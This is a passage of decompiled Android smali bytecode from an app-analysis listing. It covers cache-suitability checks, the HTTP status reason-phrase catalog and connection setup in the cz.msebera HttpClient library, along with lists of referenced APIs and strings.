        179invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        181const-string p2, " but no location header"
        183invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        185invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        186move-result-object p2
        188invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        189throw p1
        Cross References
        APIs
        • java.lang.String.equals
        • java.lang.Integer.parseInt
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.NumberFormatException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.equals
        • java.lang.Integer.parseInt
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.NumberFormatException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.equals
        • java.lang.Long.parseLong
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.NumberFormatException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Cache entry was not fresh enough
        • Cache entry Content-Length and header information do not match
        • Request contained conditional headers we don\'t handle
        • Cache-Control
        • no-cache
        • Response contained NO CACHE directive, cache was not suitable
        • no-store
        • Response contained NO STORE directive, cache was not suitable
        • max-age
        • Response from cache was NOT suitable due to max age
        • Response from cache was malformed
        • max-stale
        • Response from cache was not suitable due to Max stale freshness
        • Response from cache was malformed:
        • min-fresh
        • Response from cache was not suitable due to min fresh freshness requirement
        • Response from cache was suitable
        Position Instruction Meta Information
        0move-object/from16 v1, p0
        1move-object/from16 v0, p2
        2move-object/from16 v2, p3
        3move-object/from16 v3, p4
        5invoke-direct {v1, v2, v0, v3}, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->isFreshEnough(Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;Lcz/msebera/android/httpclient/HttpRequest;Ljava/util/Date;)Z
        6move-result v4
        7const/4 v5, 0x0
        8if-nez v4, :cond_17
        10iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        12const-string v2, "Cache entry was not fresh enough"
        14invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        15return v5
        16cond_17:
        17iget-object v4, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->validityStrategy:Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;
        19invoke-virtual {v4, v2}, Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;->contentLengthHeaderMatchesActualLength(Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;)Z
        20move-result v4
        21if-nez v4, :cond_27
        23iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        25const-string v2, "Cache entry Content-Length and header information do not match"
        27invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        28return v5
        29cond_27:
        30invoke-direct {v1, v0}, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->hasUnsupportedConditionalHeaders(Lcz/msebera/android/httpclient/HttpRequest;)Z
        31move-result v4
        32if-eqz v4, :cond_35
        34iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        36const-string v2, "Request contained conditional headers we don\'t handle"
        38invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        39return v5
        40cond_35:
        41invoke-virtual {v1, v0}, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->isConditional(Lcz/msebera/android/httpclient/HttpRequest;)Z
        42move-result v4
        43if-nez v4, :cond_44
        45invoke-virtual/range {p3 .. p3}, Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;->getStatusCode()I
        46move-result v4
        47const/16 v6, 0x130
        48if-ne v4, v6, :cond_44
        49return v5
        50cond_44:
        51invoke-virtual {v1, v0}, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->isConditional(Lcz/msebera/android/httpclient/HttpRequest;)Z
        52move-result v4
        53if-eqz v4, :cond_51
        55invoke-virtual {v1, v0, v2, v3}, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->allConditionalsMatch(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;Ljava/util/Date;)Z
        56move-result v4
        57if-nez v4, :cond_51
        58return v5
        59cond_51:
        60const-string v4, "Cache-Control"
        62invoke-interface {v0, v4}, Lcz/msebera/android/httpclient/HttpRequest;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        63move-result-object v0
        64array-length v4, v0
        65const/4 v6, 0x0
        66goto_59: if-ge v6, v4, :cond_16f
        67aget-object v7, v0, v6
        69invoke-interface {v7}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        70move-result-object v7
        71array-length v8, v7
        72const/4 v9, 0x0
        73goto_63: if-ge v9, v8, :cond_16b
        74aget-object v10, v7, v9
        76const-string v11, "no-cache"
        78invoke-interface {v10}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        79move-result-object v12
        81invoke-virtual {v11, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        82move-result v11
        83if-eqz v11, :cond_7b
        85iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        87const-string v2, "Response contained NO CACHE directive, cache was not suitable"
        89invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        90return v5
        91cond_7b:
        92const-string v11, "no-store"
        94invoke-interface {v10}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        95move-result-object v12
        97invoke-virtual {v11, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        98move-result v11
        99if-eqz v11, :cond_8f
        101iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        103const-string v2, "Response contained NO STORE directive, cache was not suitable"
        105invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        106return v5
        107cond_8f:
        108const-string v11, "max-age"
        110invoke-interface {v10}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        111move-result-object v12
        113invoke-virtual {v11, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        114move-result v11
        115if-eqz v11, :cond_d2
        116try_start_9b:
        117invoke-interface {v10}, Lcz/msebera/android/httpclient/HeaderElement;->getValue()Ljava/lang/String;
        118move-result-object v11
        120invoke-static {v11}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        121move-result v11
        123iget-object v12, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->validityStrategy:Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;
        125invoke-virtual {v12, v2, v3}, Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;->getCurrentAgeSecs(Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;Ljava/util/Date;)J
        126move-result-wide v12
        127int-to-long v14, v11
        128cmp-long v11, v12, v14
        129if-lez v11, :cond_d2
        131iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        133const-string v2, "Response from cache was NOT suitable due to max age"
        135invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        136try_end_b5: return v5
        137catch_b6: move-exception v0
        139iget-object v2, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        140new-instance v3, Ljava/lang/StringBuilder;
        142invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        144const-string v4, "Response from cache was malformed"
        146invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        148invoke-virtual {v0}, Ljava/lang/NumberFormatException;->getMessage()Ljava/lang/String;
        149move-result-object v0
        151invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        153invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        154move-result-object v0
        156invoke-virtual {v2, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        157return v5
        158cond_d2:
        159const-string v11, "max-stale"
        161invoke-interface {v10}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        162move-result-object v12
        164invoke-virtual {v11, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        165move-result v11
        166if-eqz v11, :cond_115
        167try_start_de:
        168invoke-interface {v10}, Lcz/msebera/android/httpclient/HeaderElement;->getValue()Ljava/lang/String;
        169move-result-object v11
        171invoke-static {v11}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        172move-result v11
        174iget-object v12, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->validityStrategy:Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;
        176invoke-virtual {v12, v2}, Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;->getFreshnessLifetimeSecs(Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;)J
        177move-result-wide v12
        178int-to-long v14, v11
        179cmp-long v11, v12, v14
        180if-lez v11, :cond_115
        182iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        184const-string v2, "Response from cache was not suitable due to Max stale freshness"
        186invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        187try_end_f8: return v5
        188catch_f9: move-exception v0
        190iget-object v2, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        191new-instance v3, Ljava/lang/StringBuilder;
        193invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        195const-string v4, "Response from cache was malformed: "
        197invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        199invoke-virtual {v0}, Ljava/lang/NumberFormatException;->getMessage()Ljava/lang/String;
        200move-result-object v0
        202invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        204invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        205move-result-object v0
        207invoke-virtual {v2, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        208return v5
        209cond_115:
        210const-string v11, "min-fresh"
        212invoke-interface {v10}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        213move-result-object v12
        215invoke-virtual {v11, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        216move-result v11
        217if-eqz v11, :cond_167
        218try_start_121:
        219invoke-interface {v10}, Lcz/msebera/android/httpclient/HeaderElement;->getValue()Ljava/lang/String;
        220move-result-object v10
        222invoke-static {v10}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
        223move-result-wide v10
        224const-wide/16 v12, 0x0
        225cmp-long v14, v10, v12
        226if-gez v14, :cond_130
        227return v5
        228cond_130:
        229iget-object v12, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->validityStrategy:Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;
        231invoke-virtual {v12, v2, v3}, Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;->getCurrentAgeSecs(Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;Ljava/util/Date;)J
        232move-result-wide v12
        234iget-object v14, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->validityStrategy:Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;
        236invoke-virtual {v14, v2}, Lcz/msebera/android/httpclient/impl/client/cache/CacheValidityPolicy;->getFreshnessLifetimeSecs(Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;)J
        237move-result-wide v14
        238const/16 v16, 0x0
        239sub-long/2addr v14, v12
        240cmp-long v12, v14, v10
        241if-gez v12, :cond_167
        243iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        245const-string v2, "Response from cache was not suitable due to min fresh freshness requirement"
        247invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        248try_end_14a: return v5
        249catch_14b: move-exception v0
        251iget-object v2, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        252new-instance v3, Ljava/lang/StringBuilder;
        254invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        256const-string v4, "Response from cache was malformed: "
        258invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        260invoke-virtual {v0}, Ljava/lang/NumberFormatException;->getMessage()Ljava/lang/String;
        261move-result-object v0
        263invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        265invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        266move-result-object v0
        268invoke-virtual {v2, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        269return v5
        270cond_167: add-int/lit8 v9, v9, 0x1
        271goto/16 :goto_63
        272cond_16b: add-int/lit8 v6, v6, 0x1
        273goto/16 :goto_59
        274cond_16f:
        275iget-object v0, v1, Lcz/msebera/android/httpclient/impl/client/cache/CachedResponseSuitabilityChecker;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        277const-string v2, "Response from cache was suitable"
        279invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        280const/4 v0, 0x1
        281return v0
        Strings
        • OK
        • Created
        • Accepted
        • No Content
        • Moved Permanently
        • Moved Temporarily
        • Not Modified
        • Bad Request
        • Unauthorized
        • Forbidden
        • Not Found
        • Internal Server Error
        • Not Implemented
        • Bad Gateway
        • Service Unavailable
        • Continue
        • Temporary Redirect
        • Method Not Allowed
        • Conflict
        • Precondition Failed
        • Request Too Long
        • Request-URI Too Long
        • Unsupported Media Type
        • Multiple Choices
        • See Other
        • Use Proxy
        • Payment Required
        • Not Acceptable
        • Proxy Authentication Required
        • Request Timeout
        • Switching Protocols
        • Non Authoritative Information
        • Reset Content
        • Partial Content
        • Gateway Timeout
        • Http Version Not Supported
        • Gone
        • Length Required
        • Requested Range Not Satisfiable
        • Expectation Failed
        • Processing
        • Multi-Status
        • Unprocessable Entity
        • Insufficient Space On Resource
        • Method Failure
        • Locked
        • Insufficient Storage
        • Failed Dependency
        Position Instruction Meta Information
        0new-instance v0, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;
        2invoke-direct {v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;-><init>()V
        3sput-object v0, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->INSTANCE:Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;
        4const/4 v0, 0x6
        5new-array v0, v0, [[Ljava/lang/String;
        6const/4 v1, 0x0
        7const/4 v2, 0x0
        8aput-object v2, v0, v1
        9const/4 v1, 0x3
        10new-array v2, v1, [Ljava/lang/String;
        11const/4 v3, 0x1
        12aput-object v2, v0, v3
        13const/16 v2, 0x8
        14new-array v3, v2, [Ljava/lang/String;
        15const/4 v4, 0x2
        16aput-object v3, v0, v4
        17new-array v3, v2, [Ljava/lang/String;
        18aput-object v3, v0, v1
        19const/16 v1, 0x19
        20new-array v1, v1, [Ljava/lang/String;
        21const/4 v3, 0x4
        22aput-object v1, v0, v3
        23new-array v1, v2, [Ljava/lang/String;
        24const/4 v2, 0x5
        25aput-object v1, v0, v2
        26sput-object v0, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->REASON_PHRASES:[[Ljava/lang/String;
        28const-string v0, "OK"
        29const/16 v1, 0xc8
        31invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        33const-string v0, "Created"
        34const/16 v1, 0xc9
        36invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        38const-string v0, "Accepted"
        39const/16 v1, 0xca
        41invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        43const-string v0, "No Content"
        44const/16 v1, 0xcc
        46invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        48const-string v0, "Moved Permanently"
        49const/16 v1, 0x12d
        51invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        53const-string v0, "Moved Temporarily"
        54const/16 v1, 0x12e
        56invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        58const-string v0, "Not Modified"
        59const/16 v1, 0x130
        61invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        63const-string v0, "Bad Request"
        64const/16 v1, 0x190
        66invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        68const-string v0, "Unauthorized"
        69const/16 v1, 0x191
        71invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        73const-string v0, "Forbidden"
        74const/16 v1, 0x193
        76invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        78const-string v0, "Not Found"
        79const/16 v1, 0x194
        81invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        83const-string v0, "Internal Server Error"
        84const/16 v1, 0x1f4
        86invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        88const-string v0, "Not Implemented"
        89const/16 v1, 0x1f5
        91invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        93const-string v0, "Bad Gateway"
        94const/16 v1, 0x1f6
        96invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        98const-string v0, "Service Unavailable"
        99const/16 v1, 0x1f7
        101invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        103const-string v0, "Continue"
        104const/16 v1, 0x64
        106invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        108const-string v0, "Temporary Redirect"
        109const/16 v1, 0x133
        111invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        113const-string v0, "Method Not Allowed"
        114const/16 v1, 0x195
        116invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        118const-string v0, "Conflict"
        119const/16 v1, 0x199
        121invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        123const-string v0, "Precondition Failed"
        124const/16 v1, 0x19c
        126invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        128const-string v0, "Request Too Long"
        129const/16 v1, 0x19d
        131invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        133const-string v0, "Request-URI Too Long"
        134const/16 v1, 0x19e
        136invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        138const-string v0, "Unsupported Media Type"
        139const/16 v1, 0x19f
        141invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        143const-string v0, "Multiple Choices"
        144const/16 v1, 0x12c
        146invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        148const-string v0, "See Other"
        149const/16 v1, 0x12f
        151invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        153const-string v0, "Use Proxy"
        154const/16 v1, 0x131
        156invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        158const-string v0, "Payment Required"
        159const/16 v1, 0x192
        161invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        163const-string v0, "Not Acceptable"
        164const/16 v1, 0x196
        166invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        168const-string v0, "Proxy Authentication Required"
        169const/16 v1, 0x197
        171invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        173const-string v0, "Request Timeout"
        174const/16 v1, 0x198
        176invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        178const-string v0, "Switching Protocols"
        179const/16 v1, 0x65
        181invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        183const-string v0, "Non Authoritative Information"
        184const/16 v1, 0xcb
        186invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        188const-string v0, "Reset Content"
        189const/16 v1, 0xcd
        191invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        193const-string v0, "Partial Content"
        194const/16 v1, 0xce
        196invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        198const-string v0, "Gateway Timeout"
        199const/16 v1, 0x1f8
        201invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        203const-string v0, "Http Version Not Supported"
        204const/16 v1, 0x1f9
        206invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        208const-string v0, "Gone"
        209const/16 v1, 0x19a
        211invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        213const-string v0, "Length Required"
        214const/16 v1, 0x19b
        216invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        218const-string v0, "Requested Range Not Satisfiable"
        219const/16 v1, 0x1a0
        221invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        223const-string v0, "Expectation Failed"
        224const/16 v1, 0x1a1
        226invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        228const-string v0, "Processing"
        229const/16 v1, 0x66
        231invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        233const-string v0, "Multi-Status"
        234const/16 v1, 0xcf
        236invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        238const-string v0, "Unprocessable Entity"
        239const/16 v1, 0x1a6
        241invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        243const-string v0, "Insufficient Space On Resource"
        244const/16 v1, 0x1a3
        246invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        248const-string v0, "Method Failure"
        249const/16 v1, 0x1a4
        251invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        253const-string v0, "Locked"
        254const/16 v1, 0x1a7
        256invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        258const-string v0, "Insufficient Storage"
        259const/16 v1, 0x1fb
        261invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        263const-string v0, "Failed Dependency"
        264const/16 v1, 0x1a8
        266invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/EnglishReasonPhraseCatalog;->setReason(ILjava/lang/String;)V
        267return-void
        Cross References
        APIs
        • java.net.Socket.setSoTimeout
        • java.net.Socket.setReuseAddress
        • java.net.Socket.setTcpNoDelay
        • java.net.Socket.setKeepAlive
        • java.net.Socket.setSoLinger
        • java.net.InetSocketAddress.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.ConnectException.getMessage
        • java.lang.String.equals
        • cz.msebera.android.httpclient.conn.ConnectTimeoutException.<init>
        • cz.msebera.android.httpclient.conn.HttpHostConnectException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.conn.ConnectTimeoutException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.conn.UnsupportedSchemeException.<init>
        Strings
        • Connecting to
        • Connection established
        • Connection timed out
        • Connect to
        • timed out.
        • Connection will be retried using another IP address
        • protocol is not supported
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5move-object/from16 v1, p0
        6move-object/from16 v2, p1
        7move-object/from16 v10, p2
        8move-object/from16 v11, p6
        10invoke-direct {v1, v11}, Lcz/msebera/android/httpclient/impl/conn/HttpClientConnectionOperator;->getSocketFactoryRegistry(Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/config/Lookup;
        11move-result-object v0
        13invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        14move-result-object v3
        16invoke-interface {v0, v3}, Lcz/msebera/android/httpclient/config/Lookup;->lookup(Ljava/lang/String;)Ljava/lang/Object;
        17move-result-object v0
        18move-object v12, v0
        19check-cast v12, Lcz/msebera/android/httpclient/conn/socket/ConnectionSocketFactory;
        20if-eqz v12, :cond_12e
        22invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpHost;->getAddress()Ljava/net/InetAddress;
        23move-result-object v0
        24const/4 v13, 0x0
        25const/4 v14, 0x1
        26if-eqz v0, :cond_2b
        27new-array v0, v14, [Ljava/net/InetAddress;
        29invoke-virtual/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpHost;->getAddress()Ljava/net/InetAddress;
        30move-result-object v3
        31aput-object v3, v0, v13
        32goto_29: move-object v15, v0
        33goto/16 :goto_36
        34cond_2b:
